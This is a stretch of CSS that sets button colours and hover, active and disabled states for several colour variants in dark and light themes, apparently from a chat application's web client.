.lookLink-9FtZy-.colorBrandNew-g5lmBU .spinnerItem-3GlVyU { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.theme-dark .lookFilled-1Gx00P.hoverBrandNew-OURftq.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverBrandNew-OURftq.hasHover-3X1-zV:hover { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverBrandNew-OURftq.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverBrandNew-OURftq.hasHover-3X1-zV:active { background-color: hsl(235,calc(var(--saturation-factor, 1)*51.4%),52.4%); color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.hoverBrandNew-OURftq.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverBrandNew-OURftq.hasHover-3X1-zV:hover { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); background-color: hsl(240,calc(var(--saturation-factor, 1)*77.8%),98.2%); }

.theme-dark .lookInverted-2D7oAl.hoverBrandNew-OURftq.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverBrandNew-OURftq.hasHover-3X1-zV:active { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); background-color: hsl(236,calc(var(--saturation-factor, 1)*83.3%),92.9%); }

.theme-dark .lookOutlined-3sRXeN.hoverBrandNew-OURftq.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverBrandNew-OURftq.hasHover-3X1-zV:hover { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); border-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.theme-dark .lookOutlined-3sRXeN.hoverBrandNew-OURftq.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverBrandNew-OURftq.hasHover-3X1-zV:active { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); background-color: hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.1); border-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.theme-dark .lookLink-9FtZy-.hoverBrandNew-OURftq.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverBrandNew-OURftq.hasHover-3X1-zV:hover .contents-18-Yxp { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%) 0,hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%) 2px,transparent 0); }

.borderRed-3OOBNL { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) !important; }

.lookFilled-1Gx00P.colorRed-1TFJan { color: rgb(255, 255, 255); background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.lookFilled-1Gx00P.colorRed-1TFJan:hover { background-color: hsl(359,calc(var(--saturation-factor, 1)*56.7%),48%); }

.lookFilled-1Gx00P.colorRed-1TFJan:active { background-color: hsl(359,calc(var(--saturation-factor, 1)*56.3%),40.4%); }

.lookFilled-1Gx00P.colorRed-1TFJan .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorRed-1TFJan:disabled { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.lookInverted-2D7oAl.colorRed-1TFJan { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorRed-1TFJan:hover { background-color: hsl(0,calc(var(--saturation-factor, 1)*80%),98%); }

.lookInverted-2D7oAl.colorRed-1TFJan:active { background-color: hsl(358,calc(var(--saturation-factor, 1)*81%),91.8%); }

.lookInverted-2D7oAl.colorRed-1TFJan:disabled { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorRed-1TFJan .spinnerItem-3GlVyU { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.lookOutlined-3sRXeN.colorRed-1TFJan { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.lookOutlined-3sRXeN.colorRed-1TFJan:active { background-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.1); }

.lookOutlined-3sRXeN.colorRed-1TFJan:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorRed-1TFJan .spinnerItem-3GlVyU { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.lookLink-9FtZy-.colorRed-1TFJan { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.lookLink-9FtZy-.colorRed-1TFJan:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) 0,hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) 2px,transparent 0); }

.lookLink-9FtZy-.colorRed-1TFJan:disabled .contents-18-Yxp { background-image: none; }

.lookLink-9FtZy-.colorRed-1TFJan .spinnerItem-3GlVyU { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .lookFilled-1Gx00P.hoverRed-2NoOXI.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverRed-2NoOXI.hasHover-3X1-zV:hover { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverRed-2NoOXI.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverRed-2NoOXI.hasHover-3X1-zV:active { background-color: hsl(359,calc(var(--saturation-factor, 1)*56.7%),48%); color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.hoverRed-2NoOXI.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverRed-2NoOXI.hasHover-3X1-zV:hover { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); background-color: hsl(0,calc(var(--saturation-factor, 1)*80%),98%); }

.theme-dark .lookInverted-2D7oAl.hoverRed-2NoOXI.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverRed-2NoOXI.hasHover-3X1-zV:active { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); background-color: hsl(358,calc(var(--saturation-factor, 1)*81%),91.8%); }

.theme-dark .lookOutlined-3sRXeN.hoverRed-2NoOXI.hasHover-3X1-zV:active, .theme-dark .lookOutlined-3sRXeN.hoverRed-2NoOXI.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverRed-2NoOXI.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverRed-2NoOXI.hasHover-3X1-zV:hover { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .lookOutlined-3sRXeN.hoverRed-2NoOXI.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverRed-2NoOXI.hasHover-3X1-zV:active { background-color: hsla(359,calc(var(--saturation-factor, 1)*82.6%),59.4%,0.1); }

.theme-dark .lookLink-9FtZy-.hoverRed-2NoOXI.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverRed-2NoOXI.hasHover-3X1-zV:hover .contents-18-Yxp { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) 0,hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%) 2px,transparent 0); }

.borderGreen-1zc00I { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) !important; }

.lookFilled-1Gx00P.colorGreen-29iAKY { color: rgb(255, 255, 255); background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.lookFilled-1Gx00P.colorGreen-29iAKY:hover { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.1%),33.3%); }

.lookFilled-1Gx00P.colorGreen-29iAKY:active { background-color: hsl(138,calc(var(--saturation-factor, 1)*47%),25.9%); }

.lookFilled-1Gx00P.colorGreen-29iAKY .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorGreen-29iAKY:disabled { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.lookInverted-2D7oAl.colorGreen-29iAKY { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorGreen-29iAKY:hover { background-color: hsl(139,calc(var(--saturation-factor, 1)*83.8%),92.7%); }

.lookInverted-2D7oAl.colorGreen-29iAKY:active { background-color: hsl(138,calc(var(--saturation-factor, 1)*86.1%),85.9%); }

.lookInverted-2D7oAl.colorGreen-29iAKY:disabled { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorGreen-29iAKY .spinnerItem-3GlVyU { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.lookOutlined-3sRXeN.colorGreen-29iAKY { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.lookOutlined-3sRXeN.colorGreen-29iAKY:active { background-color: hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.1); }

.lookOutlined-3sRXeN.colorGreen-29iAKY:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorGreen-29iAKY .spinnerItem-3GlVyU { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.lookLink-9FtZy-.colorGreen-29iAKY { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.lookLink-9FtZy-.colorGreen-29iAKY:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) 0,hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) 2px,transparent 0); }

.lookLink-9FtZy-.colorGreen-29iAKY:disabled .contents-18-Yxp { background-image: none; }

.lookLink-9FtZy-.colorGreen-29iAKY .spinnerItem-3GlVyU { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .lookFilled-1Gx00P.hoverGreen-1gjdJc.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverGreen-1gjdJc.hasHover-3X1-zV:hover { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverGreen-1gjdJc.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverGreen-1gjdJc.hasHover-3X1-zV:active { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.1%),33.3%); color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.hoverGreen-1gjdJc.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverGreen-1gjdJc.hasHover-3X1-zV:hover { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); background-color: hsl(139,calc(var(--saturation-factor, 1)*83.8%),92.7%); }

.theme-dark .lookInverted-2D7oAl.hoverGreen-1gjdJc.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverGreen-1gjdJc.hasHover-3X1-zV:active { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); background-color: hsl(138,calc(var(--saturation-factor, 1)*86.1%),85.9%); }

.theme-dark .lookOutlined-3sRXeN.hoverGreen-1gjdJc.hasHover-3X1-zV:active, .theme-dark .lookOutlined-3sRXeN.hoverGreen-1gjdJc.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverGreen-1gjdJc.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverGreen-1gjdJc.hasHover-3X1-zV:hover { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .lookOutlined-3sRXeN.hoverGreen-1gjdJc.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverGreen-1gjdJc.hasHover-3X1-zV:active { background-color: hsla(139,calc(var(--saturation-factor, 1)*47.3%),43.9%,0.1); }

.theme-dark .lookLink-9FtZy-.hoverGreen-1gjdJc.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverGreen-1gjdJc.hasHover-3X1-zV:hover .contents-18-Yxp { color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) 0,hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%) 2px,transparent 0); }

.theme-dark .borderGrey-w8_7oO { border-color: rgb(79, 84, 92) !important; }

.theme-dark .lookFilled-1Gx00P.colorGrey-2DXtkV { color: rgb(255, 255, 255); background-color: rgb(79, 84, 92); }

.theme-dark .lookFilled-1Gx00P.colorGrey-2DXtkV:hover { background-color: rgb(93, 98, 105); }

.theme-dark .lookFilled-1Gx00P.colorGrey-2DXtkV:active { background-color: rgb(114, 118, 125); }

.theme-dark .lookFilled-1Gx00P.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.colorGrey-2DXtkV:disabled { background-color: rgb(79, 84, 92); }

.theme-dark .lookInverted-2D7oAl.colorGrey-2DXtkV { color: rgb(79, 84, 92); background-color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.colorGrey-2DXtkV:hover { background-color: rgb(246, 246, 247); }

.theme-dark .lookInverted-2D7oAl.colorGrey-2DXtkV:active { background-color: rgb(220, 221, 222); }

.theme-dark .lookInverted-2D7oAl.colorGrey-2DXtkV:disabled { background-color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(79, 84, 92); }

.theme-dark .lookOutlined-3sRXeN.colorGrey-2DXtkV { color: rgb(79, 84, 92); border-color: rgb(79, 84, 92); }

.theme-dark .lookOutlined-3sRXeN.colorGrey-2DXtkV:active { background-color: rgba(79, 84, 92, 0.1); }

.theme-dark .lookOutlined-3sRXeN.colorGrey-2DXtkV:disabled { background-color: transparent; }

.theme-dark .lookOutlined-3sRXeN.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(79, 84, 92); }

.theme-dark .lookLink-9FtZy-.colorGrey-2DXtkV { color: rgb(79, 84, 92); }

.theme-dark .lookLink-9FtZy-.colorGrey-2DXtkV:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(79, 84, 92) 0px, rgb(79, 84, 92) 2px, transparent 0px); }

.theme-dark .lookLink-9FtZy-.colorGrey-2DXtkV:disabled .contents-18-Yxp { background-image: none; }

.theme-dark .lookLink-9FtZy-.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(79, 84, 92); }

.theme-dark .theme-dark .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:hover { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); }

.theme-dark .theme-dark .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:active, .theme-dark .theme-light .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:active { background-color: rgb(93, 98, 105); color: rgb(255, 255, 255); }

.theme-dark .theme-dark .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:hover { color: rgb(79, 84, 92); background-color: rgb(246, 246, 247); }

.theme-dark .theme-dark .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:active, .theme-dark .theme-light .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:active { color: rgb(79, 84, 92); background-color: rgb(220, 221, 222); }

.theme-dark .theme-dark .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:hover { color: rgb(79, 84, 92); border-color: rgb(79, 84, 92); }

.theme-dark .theme-dark .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:active, .theme-dark .theme-light .lookOutlined-3sRXeN.hoverGrey-2CBXu0.hasHover-3X1-zV:active { color: rgb(79, 84, 92); background-color: rgba(79, 84, 92, 0.1); border-color: rgb(79, 84, 92); }

.theme-dark .theme-dark .lookLink-9FtZy-.hoverGrey-2CBXu0.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-dark .theme-light .lookLink-9FtZy-.hoverGrey-2CBXu0.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(79, 84, 92); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(79, 84, 92) 0px, rgb(79, 84, 92) 2px, transparent 0px); }

.theme-dark .borderPrimary-2uDO4f { border-color: rgb(255, 255, 255) !important; }

.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6 { color: rgb(246, 246, 247); background-color: rgb(79, 84, 92); }

.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6:active, .theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover { background-color: rgb(114, 118, 125); }

.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(246, 246, 247); }

.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6:disabled { background-color: rgb(79, 84, 92); }

.theme-dark .lookInverted-2D7oAl.colorPrimary-3b3xI6 { color: rgb(79, 84, 92); background-color: rgb(246, 246, 247); }

.theme-dark .lookInverted-2D7oAl.colorPrimary-3b3xI6:hover { background-color: rgb(246, 246, 247); }

.theme-dark .lookInverted-2D7oAl.colorPrimary-3b3xI6:active { background-color: rgb(220, 221, 222); }

.theme-dark .lookInverted-2D7oAl.colorPrimary-3b3xI6:disabled { background-color: rgb(246, 246, 247); }

.theme-dark .lookInverted-2D7oAl.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(79, 84, 92); }

.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6 { color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6:active { background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6:disabled { background-color: transparent; }

.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6 { color: rgb(255, 255, 255); }

.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(255, 255, 255) 0px, rgb(255, 255, 255) 2px, transparent 0px); }

.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6:disabled .contents-18-Yxp { background-image: none; }

.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6 .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.theme-dark .theme-dark .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover { background-color: rgb(79, 84, 92); color: rgb(246, 246, 247); }

.theme-dark .theme-dark .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:active, .theme-dark .theme-light .lookFilled-1Gx00P.hoverPrimary-2D1j2r.hasHover-3X1-zV:active { background-color: rgb(114, 118, 125); color: rgb(246, 246, 247); }

.theme-dark .theme-dark .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover { color: rgb(79, 84, 92); background-color: rgb(246, 246, 247); }

.theme-dark .theme-dark .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:active, .theme-dark .theme-light .lookInverted-2D7oAl.hoverPrimary-2D1j2r.hasHover-3X1-zV:active { color: rgb(79, 84, 92); background-color: rgb(220, 221, 222); }

.theme-dark .theme-dark .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover { color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.theme-dark .theme-dark .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:active, .theme-dark .theme-light .lookOutlined-3sRXeN.hoverPrimary-2D1j2r.hasHover-3X1-zV:active { color: rgb(255, 255, 255); background-color: rgba(255, 255, 255, 0.1); border-color: rgb(79, 84, 92); }

.theme-dark .theme-dark .lookLink-9FtZy-.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-dark .theme-light .lookLink-9FtZy-.hoverPrimary-2D1j2r.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(255, 255, 255); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(255, 255, 255) 0px, rgb(255, 255, 255) 2px, transparent 0px); }

.theme-dark .borderTransparent-2nVGk5 { border-color: rgb(220, 221, 222) !important; }

.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9 { color: rgb(246, 246, 247); background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:hover { background-color: rgba(255, 255, 255, 0.05); }

.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:active { background-color: rgba(255, 255, 255, 0.01); }

.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgb(246, 246, 247); }

.theme-dark .lookFilled-1Gx00P.colorTransparent-1ewNp9:disabled { background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .lookInverted-2D7oAl.colorTransparent-1ewNp9 { color: rgba(255, 255, 255, 0.1); background-color: rgb(246, 246, 247); }

.theme-dark .lookInverted-2D7oAl.colorTransparent-1ewNp9:hover { background-color: rgba(255, 255, 255, 0.05); }

.theme-dark .lookInverted-2D7oAl.colorTransparent-1ewNp9:active { background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .lookInverted-2D7oAl.colorTransparent-1ewNp9:disabled { background-color: rgb(246, 246, 247); }

.theme-dark .lookInverted-2D7oAl.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .lookOutlined-3sRXeN.colorTransparent-1ewNp9 { color: rgb(220, 221, 222); border-color: rgb(220, 221, 222); }

.theme-dark .lookOutlined-3sRXeN.colorTransparent-1ewNp9:active { background-color: rgba(220, 221, 222, 0.1); }

.theme-dark .lookOutlined-3sRXeN.colorTransparent-1ewNp9:disabled { background-color: transparent; }

.theme-dark .lookOutlined-3sRXeN.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgb(220, 221, 222); }

.theme-dark .lookLink-9FtZy-.colorTransparent-1ewNp9 { color: rgb(220, 221, 222); }

.theme-dark .lookLink-9FtZy-.colorTransparent-1ewNp9:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(220, 221, 222) 0px, rgb(220, 221, 222) 2px, transparent 0px); }

.theme-dark .lookLink-9FtZy-.colorTransparent-1ewNp9:disabled .contents-18-Yxp { background-image: none; }

.theme-dark .lookLink-9FtZy-.colorTransparent-1ewNp9 .spinnerItem-3GlVyU { background-color: rgb(220, 221, 222); }

.theme-dark .theme-dark .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover { background-color: rgba(255, 255, 255, 0.1); color: rgb(246, 246, 247); }

.theme-dark .theme-dark .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active, .theme-dark .theme-light .lookFilled-1Gx00P.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active { background-color: rgba(255, 255, 255, 0.05); color: rgb(246, 246, 247); }

.theme-dark .theme-dark .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover { color: rgba(255, 255, 255, 0.1); background-color: rgba(255, 255, 255, 0.05); }

.theme-dark .theme-dark .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active, .theme-dark .theme-light .lookInverted-2D7oAl.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active { color: rgba(255, 255, 255, 0.1); background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .theme-dark .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover, .theme-dark .theme-light .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover { color: rgb(220, 221, 222); border-color: rgb(220, 221, 222); }

.theme-dark .theme-dark .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active, .theme-dark .theme-light .lookOutlined-3sRXeN.hoverTransparent-2Lz5CN.hasHover-3X1-zV:active { color: rgb(220, 221, 222); background-color: rgba(220, 221, 222, 0.1); border-color: rgba(255, 255, 255, 0.1); }

.theme-dark .theme-dark .lookLink-9FtZy-.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-dark .theme-light .lookLink-9FtZy-.hoverTransparent-2Lz5CN.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(220, 221, 222); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(220, 221, 222) 0px, rgb(220, 221, 222) 2px, transparent 0px); }

.theme-light .borderGrey-w8_7oO { border-color: rgb(116, 127, 141) !important; }

.theme-light .lookFilled-1Gx00P.colorGrey-2DXtkV { color: rgb(255, 255, 255); background-color: rgb(116, 127, 141); }

.theme-light .lookFilled-1Gx00P.colorGrey-2DXtkV:hover { background-color: rgb(94, 103, 114); }

.theme-light .lookFilled-1Gx00P.colorGrey-2DXtkV:active { background-color: rgb(79, 86, 96); }

.theme-light .lookFilled-1Gx00P.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.theme-light .lookFilled-1Gx00P.colorGrey-2DXtkV:disabled { background-color: rgb(116, 127, 141); }

.theme-light .lookInverted-2D7oAl.colorGrey-2DXtkV { color: rgb(116, 127, 141); background-color: rgb(255, 255, 255); }

.theme-light .lookInverted-2D7oAl.colorGrey-2DXtkV:hover { background-color: rgb(248, 249, 249); }

.theme-light .lookInverted-2D7oAl.colorGrey-2DXtkV:active { background-color: rgb(227, 229, 232); }

.theme-light .lookInverted-2D7oAl.colorGrey-2DXtkV:disabled { background-color: rgb(255, 255, 255); }

.theme-light .lookInverted-2D7oAl.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .lookOutlined-3sRXeN.colorGrey-2DXtkV { color: rgb(116, 127, 141); border-color: rgb(116, 127, 141); }

.theme-light .lookOutlined-3sRXeN.colorGrey-2DXtkV:active { background-color: rgba(116, 127, 141, 0.1); }

.theme-light .lookOutlined-3sRXeN.colorGrey-2DXtkV:disabled { background-color: transparent; }

.theme-light .lookOutlined-3sRXeN.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .lookLink-9FtZy-.colorGrey-2DXtkV { color: rgb(116, 127, 141); }

.theme-light .lookLink-9FtZy-.colorGrey-2DXtkV:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(116, 127, 141) 0px, rgb(116, 127, 141) 2px, transparent 0px); }

.theme-light .lookLink-9FtZy-.colorGrey-2DXtkV:disabled .contents-18-Yxp { background-image: none; }

.theme-light .lookLink-9FtZy-.colorGrey-2DXtkV .spinnerItem-3GlVyU { background-color: rgb(116, 127, 141); }

.theme-light .theme-dark .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:hover, .theme-light .theme-light .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:hover { background-color: rgb(116, 127, 141); color: rgb(255, 255, 255); }

.theme-light .theme-dark .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:active, .theme-light .theme-light .lookFilled-1Gx00P.hoverGrey-2CBXu0.hasHover-3X1-zV:active { background-color: rgb(94, 103, 114); color: rgb(255, 255, 255); }

.theme-light .theme-dark .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:hover, .theme-light .theme-light .lookInverted-2D7oAl.hoverGrey-2CBXu0.hasHover-3X1-zV:hover { color: rgb(116, 127, 141); background-color: rgb(248, 249, 249); }

